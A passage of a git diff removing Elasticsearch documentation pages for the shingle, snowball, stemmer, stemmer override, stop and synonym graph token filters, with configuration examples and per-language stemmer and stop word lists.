-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_shingle": {
-          "tokenizer": "standard",
-          "filter": [ "shingle" ]
-        }
-      }
-    }
-  }
-}
-----
-
-[[analysis-shingle-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`max_shingle_size`::
-(Optional, integer)
-Maximum number of tokens to concatenate when creating shingles. Defaults to `2`.
-+
-NOTE: This value cannot be lower than the `min_shingle_size` argument, which
-defaults to `2`. The difference between this value and the `min_shingle_size`
-argument cannot exceed the <<index-max-shingle-diff,`index.max_shingle_diff`>>
-index-level setting, which defaults to `3`.
-
-`min_shingle_size`::
-(Optional, integer)
-Minimum number of tokens to concatenate when creating shingles. Defaults to `2`.
-+
-NOTE: This value cannot exceed the `max_shingle_size` argument, which defaults
-to `2`. The difference between the `max_shingle_size` argument and this value
-cannot exceed the <<index-max-shingle-diff,`index.max_shingle_diff`>>
-index-level setting, which defaults to `3`.
-
-`output_unigrams`::
-(Optional, Boolean)
-If `true`, the output includes the original input tokens. If `false`, the output
-only includes shingles; the original input tokens are removed. Defaults to
-`true`.
-
-`output_unigrams_if_no_shingles`::
-If `true`, the output includes the original input tokens only if no shingles are
-produced; if shingles are produced, the output only includes shingles. Defaults
-to `false`.
-+
-IMPORTANT: If both this and the `output_unigrams` parameter are `true`, only the
-`output_unigrams` argument is used.
-
-`token_separator`::
-(Optional, string)
-Separator used to concatenate adjacent tokens to form a shingle. Defaults to a
-space (`" "`).
-
-`filler_token`::
-+
---
-(Optional, string)
-String used in shingles as a replacement for empty positions that do not contain
-a token. This filler token is only used in shingles, not original unigrams.
-Defaults to an underscore (`_`).
-
-Some token filters, such as the `stop` filter, create empty positions when
-removing stop words with a position increment greater than one.
-
-.*Example*
-[%collapsible]
-====
-In the following <<indices-analyze,analyze API>> request, the `stop` filter
-removes the stop word `a` from `fox jumps a lazy dog`, creating an empty
-position. The subsequent `shingle` filter replaces this empty position with a
-plus sign (`+`) in shingles.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    {
-      "type": "stop",
-      "stopwords": [ "a" ]
-    },
-    {
-      "type": "shingle",
-      "filler_token": "+"
-    }
-  ],
-  "text": "fox jumps a lazy dog"
-}
-----
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ fox, fox jumps, jumps, jumps +, + lazy, lazy, lazy dog, dog ]
-----
-
-////
-[source, console-result]
-----
-{
-  "tokens" : [
-    {
-      "token" : "fox",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "word",
-      "position" : 0
-    },
-    {
-      "token" : "fox jumps",
-      "start_offset" : 0,
-      "end_offset" : 9,
-      "type" : "shingle",
-      "position" : 0,
-      "positionLength" : 2
-    },
-    {
-      "token" : "jumps",
-      "start_offset" : 4,
-      "end_offset" : 9,
-      "type" : "word",
-      "position" : 1
-    },
-    {
-      "token" : "jumps +",
-      "start_offset" : 4,
-      "end_offset" : 12,
-      "type" : "shingle",
-      "position" : 1,
-      "positionLength" : 2
-    },
-    {
-      "token" : "+ lazy",
-      "start_offset" : 12,
-      "end_offset" : 16,
-      "type" : "shingle",
-      "position" : 2,
-      "positionLength" : 2
-    },
-    {
-      "token" : "lazy",
-      "start_offset" : 12,
-      "end_offset" : 16,
-      "type" : "word",
-      "position" : 3
-    },
-    {
-      "token" : "lazy dog",
-      "start_offset" : 12,
-      "end_offset" : 20,
-      "type" : "shingle",
-      "position" : 3,
-      "positionLength" : 2
-    },
-    {
-      "token" : "dog",
-      "start_offset" : 17,
-      "end_offset" : 20,
-      "type" : "word",
-      "position" : 4
-    }
-  ]
-}
-----
-////
-====
---
-
-[[analysis-shingle-tokenfilter-customize]]
-==== Customize
-
-To customize the `shingle` filter, duplicate it to create the basis for a new
-custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses a custom `shingle` filter, `my_shingle_filter`, to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-The `my_shingle_filter` filter uses a `min_shingle_size` of `2` and a
-`max_shingle_size` of `5`, meaning it produces shingles of 2-5 words.
-The filter also includes a `output_unigrams` argument of `false`, meaning that
-only shingles are included in the output.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "en": {
-          "tokenizer": "standard",
-          "filter": [ "my_shingle_filter" ]
-        }
-      },
-      "filter": {
-        "my_shingle_filter": {
-          "type": "shingle",
-          "min_shingle_size": 2,
-          "max_shingle_size": 5,
-          "output_unigrams": false
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/tokenfilters/snowball-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/snowball-tokenfilter.asciidoc
deleted file mode 100644
index a76bc6f6c52..00000000000
--- a/docs/reference/analysis/tokenfilters/snowball-tokenfilter.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[[analysis-snowball-tokenfilter]]
-=== Snowball token filter
-++++
-<titleabbrev>Snowball</titleabbrev>
-++++
-
-A filter that stems words using a Snowball-generated stemmer. The
-`language` parameter controls the stemmer with the following available
-values: `Arabic`, `Armenian`, `Basque`, `Catalan`, `Danish`, `Dutch`, `English`,
-`Estonian`, `Finnish`, `French`, `German`, `German2`, `Hungarian`, `Italian`, `Irish`, `Kp`,
-`Lithuanian`, `Lovins`, `Norwegian`, `Porter`, `Portuguese`, `Romanian`,
-`Russian`, `Spanish`, `Swedish`, `Turkish`.
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "filter": [ "lowercase", "my_snow" ]
-        }
-      },
-      "filter": {
-        "my_snow": {
-          "type": "snowball",
-          "language": "Lovins"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/stemmer-override-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/stemmer-override-tokenfilter.asciidoc
deleted file mode 100644
index 99cbe695f8f..00000000000
--- a/docs/reference/analysis/tokenfilters/stemmer-override-tokenfilter.asciidoc
+++ /dev/null
@@ -1,80 +0,0 @@
-[[analysis-stemmer-override-tokenfilter]]
-=== Stemmer override token filter
-++++
-<titleabbrev>Stemmer override</titleabbrev>
-++++
-
-Overrides stemming algorithms, by applying a custom mapping, then
-protecting these terms from being modified by stemmers. Must be placed
-before any stemming filters.
-
-Rules are mappings in the form of `token1[, ..., tokenN] => override`.
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Setting |Description
-|`rules` |A list of mapping rules to use.
-
-|`rules_path` |A path (either relative to `config` location, or
-absolute) to a list of mappings.
-|=======================================================================
-
-Here is an example:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "filter": [ "lowercase", "custom_stems", "porter_stem" ]
-        }
-      },
-      "filter": {
-        "custom_stems": {
-          "type": "stemmer_override",
-          "rules_path": "analysis/stemmer_override.txt"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Where the file looks like:
-
-[source,stemmer_override]
---------------------------------------------------
-include::{es-test-dir}/cluster/config/analysis/stemmer_override.txt[]
---------------------------------------------------
-
-You can also define the overrides rules inline:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "filter": [ "lowercase", "custom_stems", "porter_stem" ]
-        }
-      },
-      "filter": {
-        "custom_stems": {
-          "type": "stemmer_override",
-          "rules": [
-            "running, runs => run",
-            "stemmer => stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/stemmer-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/stemmer-tokenfilter.asciidoc
deleted file mode 100644
index b88c5de0b81..00000000000
--- a/docs/reference/analysis/tokenfilters/stemmer-tokenfilter.asciidoc
+++ /dev/null
@@ -1,281 +0,0 @@
-[[analysis-stemmer-tokenfilter]]
-=== Stemmer token filter
-++++
-<titleabbrev>Stemmer</titleabbrev>
-++++
-
-Provides <<algorithmic-stemmers,algorithmic stemming>> for several languages,
-some with additional variants. For a list of supported languages, see the
-<<analysis-stemmer-tokenfilter-language-parm,`language`>> parameter.
-
-When not customized, the filter uses the
-https://snowballstem.org/algorithms/porter/stemmer.html[porter stemming
-algorithm] for English.
-
-[[analysis-stemmer-tokenfilter-analyze-ex]]
-==== Example
-
-The following analyze API request uses the `stemmer` filter's default porter
-stemming algorithm to stem `the foxes jumping quickly` to `the fox jump
-quickli`:
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "standard",
-  "filter": [ "stemmer" ],
-  "text": "the foxes jumping quickly"
-}
-----
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ the, fox, jump, quickli ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "fox",
-      "start_offset": 4,
-      "end_offset": 9,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "jump",
-      "start_offset": 10,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "quickli",
-      "start_offset": 18,
-      "end_offset": 25,
-      "type": "<ALPHANUM>",
-      "position": 3
-    }
-  ]
-}
-----
-////
-
-[[analysis-stemmer-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`stemmer` filter to configure a new <<analysis-custom-analyzer,custom
-analyzer>>.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "whitespace",
-          "filter": [ "stemmer" ]
-        }
-      }
-    }
-  }
-}
-----
-
-[role="child_attributes"]
-[[analysis-stemmer-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-[[analysis-stemmer-tokenfilter-language-parm]]
-`language`::
-(Optional, string)
-Language-dependent stemming algorithm used to stem tokens. If both this and the
-`name` parameter are specified, the `language` parameter argument is used.
-+
-[%collapsible%open]
-.Valid values for `language`
-====
-Valid values are sorted by language. Defaults to
-https://snowballstem.org/algorithms/porter/stemmer.html[*`english`*].
-Recommended algorithms are *bolded*.
-
-Arabic::
-{lucene-analysis-docs}/ar/ArabicStemmer.html[*`arabic`*]
-
-Armenian::
-https://snowballstem.org/algorithms/armenian/stemmer.html[*`armenian`*]
-
-Basque::
-https://snowballstem.org/algorithms/basque/stemmer.html[*`basque`*]
-
-Bengali::
-https://www.tandfonline.com/doi/abs/10.1080/02564602.1993.11437284[*`bengali`*]
-
-Brazilian Portuguese::
-{lucene-analysis-docs}/br/BrazilianStemmer.html[*`brazilian`*]
-
-Bulgarian::
-http://members.unine.ch/jacques.savoy/Papers/BUIR.pdf[*`bulgarian`*]
-
-Catalan::
-https://snowballstem.org/algorithms/catalan/stemmer.html[*`catalan`*]
-
-Czech::
-https://dl.acm.org/doi/10.1016/j.ipm.2009.06.001[*`czech`*]
-
-Danish::
-https://snowballstem.org/algorithms/danish/stemmer.html[*`danish`*]
-
-Dutch::
-https://snowballstem.org/algorithms/dutch/stemmer.html[*`dutch`*],
-https://snowballstem.org/algorithms/kraaij_pohlmann/stemmer.html[`dutch_kp`]
-
-English::
-https://snowballstem.org/algorithms/porter/stemmer.html[*`english`*],
-https://ciir.cs.umass.edu/pubfiles/ir-35.pdf[`light_english`],
-https://snowballstem.org/algorithms/lovins/stemmer.html[`lovins`],
-https://www.researchgate.net/publication/220433848_How_effective_is_suffixing[`minimal_english`],
-https://snowballstem.org/algorithms/english/stemmer.html[`porter2`],
-{lucene-analysis-docs}/en/EnglishPossessiveFilter.html[`possessive_english`]
-
-Estonian::
-https://lucene.apache.org/core/{lucene_version_path}/analyzers-common/org/tartarus/snowball/ext/EstonianStemmer.html[*`estonian`*]
-
-Finnish::
-https://snowballstem.org/algorithms/finnish/stemmer.html[*`finnish`*],
-http://clef.isti.cnr.it/2003/WN_web/22.pdf[`light_finnish`]
-
-French::
-https://dl.acm.org/citation.cfm?id=1141523[*`light_french`*],
-https://snowballstem.org/algorithms/french/stemmer.html[`french`],
-https://dl.acm.org/citation.cfm?id=318984[`minimal_french`]
-
-Galician::
-http://bvg.udc.es/recursos_lingua/stemming.jsp[*`galician`*],
-http://bvg.udc.es/recursos_lingua/stemming.jsp[`minimal_galician`] (Plural step only)
-
-German::
-https://dl.acm.org/citation.cfm?id=1141523[*`light_german`*],
-https://snowballstem.org/algorithms/german/stemmer.html[`german`],
-https://snowballstem.org/algorithms/german2/stemmer.html[`german2`],
-http://members.unine.ch/jacques.savoy/clef/morpho.pdf[`minimal_german`]
-
-Greek::
-https://sais.se/mthprize/2007/ntais2007.pdf[*`greek`*]
-
-Hindi::
-http://computing.open.ac.uk/Sites/EACLSouthAsia/Papers/p6-Ramanathan.pdf[*`hindi`*]
-
-Hungarian::
-https://snowballstem.org/algorithms/hungarian/stemmer.html[*`hungarian`*],
-https://dl.acm.org/citation.cfm?id=1141523&dl=ACM&coll=DL&CFID=179095584&CFTOKEN=80067181[`light_hungarian`]
-
-Indonesian::
-http://www.illc.uva.nl/Publications/ResearchReports/MoL-2003-02.text.pdf[*`indonesian`*]
-
-Irish::
-https://snowballstem.org/otherapps/oregan/[*`irish`*]
-
-Italian::
-https://www.ercim.eu/publication/ws-proceedings/CLEF2/savoy.pdf[*`light_italian`*],
-https://snowballstem.org/algorithms/italian/stemmer.html[`italian`]
-
-Kurdish (Sorani)::
-{lucene-analysis-docs}/ckb/SoraniStemmer.html[*`sorani`*]
-
-Latvian::
-{lucene-analysis-docs}/lv/LatvianStemmer.html[*`latvian`*]
-
-Lithuanian::
-https://svn.apache.org/viewvc/lucene/dev/branches/lucene_solr_5_3/lucene/analysis/common/src/java/org/apache/lucene/analysis/lt/stem_ISO_8859_1.sbl?view=markup[*`lithuanian`*]
-
-Norwegian (Bokmål)::
-https://snowballstem.org/algorithms/norwegian/stemmer.html[*`norwegian`*],
-{lucene-analysis-docs}/no/NorwegianLightStemmer.html[*`light_norwegian`*],
-{lucene-analysis-docs}/no/NorwegianMinimalStemmer.html[`minimal_norwegian`]
-
-Norwegian (Nynorsk)::
-{lucene-analysis-docs}/no/NorwegianLightStemmer.html[*`light_nynorsk`*],
-{lucene-analysis-docs}/no/NorwegianMinimalStemmer.html[`minimal_nynorsk`]
-
-Portuguese::
-https://dl.acm.org/citation.cfm?id=1141523&dl=ACM&coll=DL&CFID=179095584&CFTOKEN=80067181[*`light_portuguese`*],
-pass:macros[http://www.inf.ufrgs.br/~buriol/papers/Orengo_CLEF07.pdf[`minimal_portuguese`\]],
-https://snowballstem.org/algorithms/portuguese/stemmer.html[`portuguese`],
-https://www.inf.ufrgs.br/\~viviane/rslp/index.htm[`portuguese_rslp`]
-
-Romanian::
-https://snowballstem.org/algorithms/romanian/stemmer.html[*`romanian`*]
-
-Russian::
-https://snowballstem.org/algorithms/russian/stemmer.html[*`russian`*],
-https://doc.rero.ch/lm.php?url=1000%2C43%2C4%2C20091209094227-CA%2FDolamic_Ljiljana_-_Indexing_and_Searching_Strategies_for_the_Russian_20091209.pdf[`light_russian`]
-
-Spanish::
-https://www.ercim.eu/publication/ws-proceedings/CLEF2/savoy.pdf[*`light_spanish`*],
-https://snowballstem.org/algorithms/spanish/stemmer.html[`spanish`]
-
-Swedish::
-https://snowballstem.org/algorithms/swedish/stemmer.html[*`swedish`*],
-http://clef.isti.cnr.it/2003/WN_web/22.pdf[`light_swedish`]
-
-Turkish::
-https://snowballstem.org/algorithms/turkish/stemmer.html[*`turkish`*]
-====
-
-`name`::
-An alias for the <<analysis-stemmer-tokenfilter-language-parm,`language`>>
-parameter. If both this and the `language` parameter are specified, the
-`language` parameter argument is used.
-
-[[analysis-stemmer-tokenfilter-customize]]
-==== Customize
-
-To customize the `stemmer` filter, duplicate it to create the basis for a new
-custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `stemmer` filter that stems
-words using the `light_german` algorithm:
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "filter": [
-            "lowercase",
-            "my_stemmer"
-          ]
-        }
-      },
-      "filter": {
-        "my_stemmer": {
-          "type": "stemmer",
-          "language": "light_german"
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/tokenfilters/stop-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/stop-tokenfilter.asciidoc
deleted file mode 100644
index e3eef08efc9..00000000000
--- a/docs/reference/analysis/tokenfilters/stop-tokenfilter.asciidoc
+++ /dev/null
@@ -1,377 +0,0 @@
-[[analysis-stop-tokenfilter]]
-=== Stop token filter
-++++
-<titleabbrev>Stop</titleabbrev>
-++++
-
-Removes {wikipedia}/Stop_words[stop words] from a token
-stream.
-
-When not customized, the filter removes the following English stop words by
-default:
-
-`a`, `an`, `and`, `are`, `as`, `at`, `be`, `but`, `by`, `for`, `if`, `in`,
-`into`, `is`, `it`, `no`, `not`, `of`, `on`, `or`, `such`, `that`, `the`,
-`their`, `then`, `there`, `these`, `they`, `this`, `to`, `was`, `will`, `with`
-
-In addition to English, the `stop` filter supports predefined
-<<analysis-stop-tokenfilter-stop-words-by-lang,stop word lists for several
-languages>>. You can also specify your own stop words as an array or file.
-
-The `stop` filter uses Lucene's
-https://lucene.apache.org/core/{lucene_version_path}/core/org/apache/lucene/analysis/StopFilter.html[StopFilter].
-
-[[analysis-stop-tokenfilter-analyze-ex]]
-==== Example
-
-The following analyze API request uses the `stop` filter to remove the stop words
-`a` and `the` from `a quick fox jumps over the lazy dog`:
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "standard",
-  "filter": [ "stop" ],
-  "text": "a quick fox jumps over the lazy dog"
-}
-----
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ quick, fox, jumps, over, lazy, dog ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "quick",
-      "start_offset": 2,
-      "end_offset": 7,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "fox",
-      "start_offset": 8,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "jumps",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "over",
-      "start_offset": 18,
-      "end_offset": 22,
-      "type": "<ALPHANUM>",
-      "position": 4
-    },
-    {
-      "token": "lazy",
-      "start_offset": 27,
-      "end_offset": 31,
-      "type": "<ALPHANUM>",
-      "position": 6
-    },
-    {
-      "token": "dog",
-      "start_offset": 32,
-      "end_offset": 35,
-      "type": "<ALPHANUM>",
-      "position": 7
-    }
-  ]
-}
-----
-////
-
-[[analysis-stop-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the `stop`
-filter to configure a new <<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "whitespace",
-          "filter": [ "stop" ]
-        }
-      }
-    }
-  }
-}
-----
-
-[[analysis-stop-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`stopwords`::
-+
---
-(Optional, string or array of strings)
-Language value, such as `_arabic_` or `_thai_`. Defaults to
-<<english-stop-words,`_english_`>>.
-
-Each language value corresponds to a predefined list of stop words in Lucene.
-See <<analysis-stop-tokenfilter-stop-words-by-lang>> for supported language
-values and their stop words.
-
-Also accepts an array of stop words.
-
-For an empty list of stop words, use `_none_`.
---
-
-`stopwords_path`::
-+
---
-(Optional, string)
-Path to a file that contains a list of stop words to remove.
-
-This path must be absolute or relative to the `config` location, and the file
-must be UTF-8 encoded. Each stop word in the file must be separated by a line
-break.
---
-
-`ignore_case`::
-(Optional, Boolean)
-If `true`, stop word matching is case insensitive. For example, if `true`, a
-stop word of `the` matches and removes `The`, `THE`, or `the`. Defaults to
-`false`.
-
-`remove_trailing`::
-+
---
-(Optional, Boolean)
-If `true`, the last token of a stream is removed if it's a stop word. Defaults
-to `true`.
-
-This parameter should be `false` when using the filter with a
-<<completion-suggester,completion suggester>>. This would ensure a query like
-`green a` matches and suggests `green apple` while still removing other stop
-words.
---
-
-[[analysis-stop-tokenfilter-customize]]
-==== Customize
-
-To customize the `stop` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom case-insensitive `stop`
-filter that removes stop words from the <<english-stop-words,`_english_`>> stop
-words list:
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "default": {
-          "tokenizer": "whitespace",
-          "filter": [ "my_custom_stop_words_filter" ]
-        }
-      },
-      "filter": {
-        "my_custom_stop_words_filter": {
-          "type": "stop",
-          "ignore_case": true
-        }
-      }
-    }
-  }
-}
-----
-
-You can also specify your own list of stop words. For example, the following
-request creates a custom case-sensitive `stop` filter that removes only the stop
-words `and`, `is`, and `the`:
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "default": {
-          "tokenizer": "whitespace",
-          "filter": [ "my_custom_stop_words_filter" ]
-        }
-      },
-      "filter": {
-        "my_custom_stop_words_filter": {
-          "type": "stop",
-          "ignore_case": true,
-          "stopwords": [ "and", "is", "the" ]
-        }
-      }
-    }
-  }
-}
-----
-
-[[analysis-stop-tokenfilter-stop-words-by-lang]]
-==== Stop words by language
-
-The following list contains supported language values for the `stopwords`
-parameter and a link to their predefined stop words in Lucene.
-
-[[arabic-stop-words]]
-`_arabic_`::
-{lucene-stop-word-link}/ar/stopwords.txt[Arabic stop words]
-
-[[armenian-stop-words]]
-`_armenian_`::
-{lucene-stop-word-link}/hy/stopwords.txt[Armenian stop words]
-
-[[basque-stop-words]]
-`_basque_`::
-{lucene-stop-word-link}/eu/stopwords.txt[Basque stop words]
-
-[[bengali-stop-words]]
-`_bengali_`::
-{lucene-stop-word-link}/bn/stopwords.txt[Bengali stop words]
-
-[[brazilian-stop-words]]
-`_brazilian_` (Brazilian Portuguese)::
-{lucene-stop-word-link}/br/stopwords.txt[Brazilian Portuguese stop words]
-
-[[bulgarian-stop-words]]
-`_bulgarian_`::
-{lucene-stop-word-link}/bg/stopwords.txt[Bulgarian stop words]
-
-[[catalan-stop-words]]
-`_catalan_`::
-{lucene-stop-word-link}/ca/stopwords.txt[Catalan stop words]
-
-[[cjk-stop-words]]
-`_cjk_` (Chinese, Japanese, and Korean)::
-{lucene-stop-word-link}/cjk/stopwords.txt[CJK stop words]
-
-[[czech-stop-words]]
-`_czech_`::
-{lucene-stop-word-link}/cz/stopwords.txt[Czech stop words]
-
-[[danish-stop-words]]
-`_danish_`::
-{lucene-stop-word-link}/snowball/danish_stop.txt[Danish stop words]
-
-[[dutch-stop-words]]
-`_dutch_`::
-{lucene-stop-word-link}/snowball/dutch_stop.txt[Dutch stop words]
-
-[[english-stop-words]]
-`_english_`::
-https://github.com/apache/lucene-solr/blob/master/lucene/analysis/common/src/java/org/apache/lucene/analysis/en/EnglishAnalyzer.java#L46[English stop words]
-
-[[estonian-stop-words]]
-`_estonian_`::
-https://github.com/apache/lucene-solr/blob/master/lucene/analysis/common/src/resources/org/apache/lucene/analysis/et/stopwords.txt[Estonian stop words]
-
-[[finnish-stop-words]]
-`_finnish_`::
-{lucene-stop-word-link}/snowball/finnish_stop.txt[Finnish stop words]
-
-[[french-stop-words]]
-`_french_`::
-{lucene-stop-word-link}/snowball/french_stop.txt[French stop words]
-
-[[galician-stop-words]]
-`_galician_`::
-{lucene-stop-word-link}/gl/stopwords.txt[Galician stop words]
-
-[[german-stop-words]]
-`_german_`::
-{lucene-stop-word-link}/snowball/german_stop.txt[German stop words]
-
-[[greek-stop-words]]
-`_greek_`::
-{lucene-stop-word-link}/el/stopwords.txt[Greek stop words]
-
-[[hindi-stop-words]]
-`_hindi_`::
-{lucene-stop-word-link}/hi/stopwords.txt[Hindi stop words]
-
-[[hungarian-stop-words]]
-`_hungarian_`::
-{lucene-stop-word-link}/snowball/hungarian_stop.txt[Hungarian stop words]
-
-[[indonesian-stop-words]]
-`_indonesian_`::
-{lucene-stop-word-link}/id/stopwords.txt[Indonesian stop words]
-
-[[irish-stop-words]]
-`_irish_`::
-{lucene-stop-word-link}/ga/stopwords.txt[Irish stop words]
-
-[[italian-stop-words]]
-`_italian_`::
-{lucene-stop-word-link}/snowball/italian_stop.txt[Italian stop words]
-
-[[latvian-stop-words]]
-`_latvian_`::
-{lucene-stop-word-link}/lv/stopwords.txt[Latvian stop words]
-
-[[lithuanian-stop-words]]
-`_lithuanian_`::
-{lucene-stop-word-link}/lt/stopwords.txt[Lithuanian stop words]
-
-[[norwegian-stop-words]]
-`_norwegian_`::
-{lucene-stop-word-link}/snowball/norwegian_stop.txt[Norwegian stop words]
-
-[[persian-stop-words]]
-`_persian_`::
-{lucene-stop-word-link}/fa/stopwords.txt[Persian stop words]
-
-[[portuguese-stop-words]]
-`_portuguese_`::
-{lucene-stop-word-link}/snowball/portuguese_stop.txt[Portuguese stop words]
-
-[[romanian-stop-words]]
-`_romanian_`::
-{lucene-stop-word-link}/ro/stopwords.txt[Romanian stop words]
-
-[[russian-stop-words]]
-`_russian_`::
-{lucene-stop-word-link}/snowball/russian_stop.txt[Russian stop words]
-
-[[sorani-stop-words]]
-`_sorani_`::
-{lucene-stop-word-link}/ckb/stopwords.txt[Sorani stop words]
-
-[[spanish-stop-words]]
-`_spanish_`::
-{lucene-stop-word-link}/snowball/spanish_stop.txt[Spanish stop words]
-
-[[swedish-stop-words]]
-`_swedish_`::
-{lucene-stop-word-link}/snowball/swedish_stop.txt[Swedish stop words]
-
-[[thai-stop-words]]
-`_thai_`::
-{lucene-stop-word-link}/th/stopwords.txt[Thai stop words]
-
-[[turkish-stop-words]]
-`_turkish_`::
-{lucene-stop-word-link}/tr/stopwords.txt[Turkish stop words]
\ No newline at end of file
diff --git a/docs/reference/analysis/tokenfilters/synonym-graph-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/synonym-graph-tokenfilter.asciidoc
deleted file mode 100644
index bc288fbf720..00000000000
--- a/docs/reference/analysis/tokenfilters/synonym-graph-tokenfilter.asciidoc
+++ /dev/null
@@ -1,198 +0,0 @@
-[[analysis-synonym-graph-tokenfilter]]
-=== Synonym graph token filter
-++++
-<titleabbrev>Synonym graph</titleabbrev>
-++++
-
-The `synonym_graph` token filter allows to easily handle synonyms,
-including multi-word synonyms correctly during the analysis process.
-
-In order to properly handle multi-word synonyms this token filter
-creates a <<token-graphs,graph token stream>> during processing.  For more
-information on this topic and its various complexities, please read the
-http://blog.mikemccandless.com/2012/04/lucenes-tokenstreams-are-actually.html[Lucene's TokenStreams are actually graphs] blog post.
-
-["NOTE",id="synonym-graph-index-note"]
-===============================
-This token filter is designed to be used as part of a search analyzer
-only.  If you want to apply synonyms during indexing please use the
-standard <<analysis-synonym-tokenfilter,synonym token filter>>.
-===============================
-
-Synonyms are configured using a configuration file.
-Here is an example:
-
-[source,console]
---------------------------------------------------
-PUT /test_index
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "search_synonyms": {
-            "tokenizer": "whitespace",
-            "filter": [ "graph_synonyms" ]
-          }
-        },
-        "filter": {
-          "graph_synonyms": {
-            "type": "synonym_graph",
-            "synonyms_path": "analysis/synonym.txt"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The above configures a `search_synonyms` filter, with a path of
-`analysis/synonym.txt` (relative to the `config` location). The
-`search_synonyms` analyzer is then configured with the filter.
-
-Additional settings are:
-
-* `expand` (defaults to `true`).
-* `lenient` (defaults to `false`). If `true` ignores exceptions while parsing the synonym configuration. It is important
-to note that only those synonym rules which cannot get parsed are ignored. For instance consider the following request:
-
-[source,console]
---------------------------------------------------
-PUT /test_index
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "synonym": {
-            "tokenizer": "standard",
-            "filter": [ "my_stop", "synonym_graph" ]
-          }
-        },
-        "filter": {
-          "my_stop": {
-            "type": "stop",
-            "stopwords": [ "bar" ]
-          },
-          "synonym_graph": {
-            "type": "synonym_graph",
-            "lenient": true,
-            "synonyms": [ "foo, bar => baz" ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-With the above request the word `bar` gets skipped but a mapping `foo => baz` is still added. However, if the mapping
-being added was `foo, baz => bar` nothing would get added to the synonym list. This is because the target word for the
-mapping is itself eliminated because it was a stop word. Similarly, if the mapping was "bar, foo, baz" and `expand` was
-set to `false` no mapping would get added as when `expand=false` the target mapping is the first word. However, if
-`expand=true` then the mappings added would be equivalent to `foo, baz => foo, baz` i.e, all mappings other than the
-stop word.
-
-[discrete]
-[[synonym-graph-tokenizer-ignore_case-deprecated]]
-==== `tokenizer` and `ignore_case` are deprecated
-
-The `tokenizer` parameter controls the tokenizers that will be used to
-tokenize the synonym, this parameter is for backwards compatibility for indices that created before 6.0..
-The `ignore_case` parameter works with `tokenizer` parameter only.
-
-Two synonym formats are supported: Solr, WordNet.
-
-[discrete]
-==== Solr synonyms
-
-The following is a sample format of the file:
-
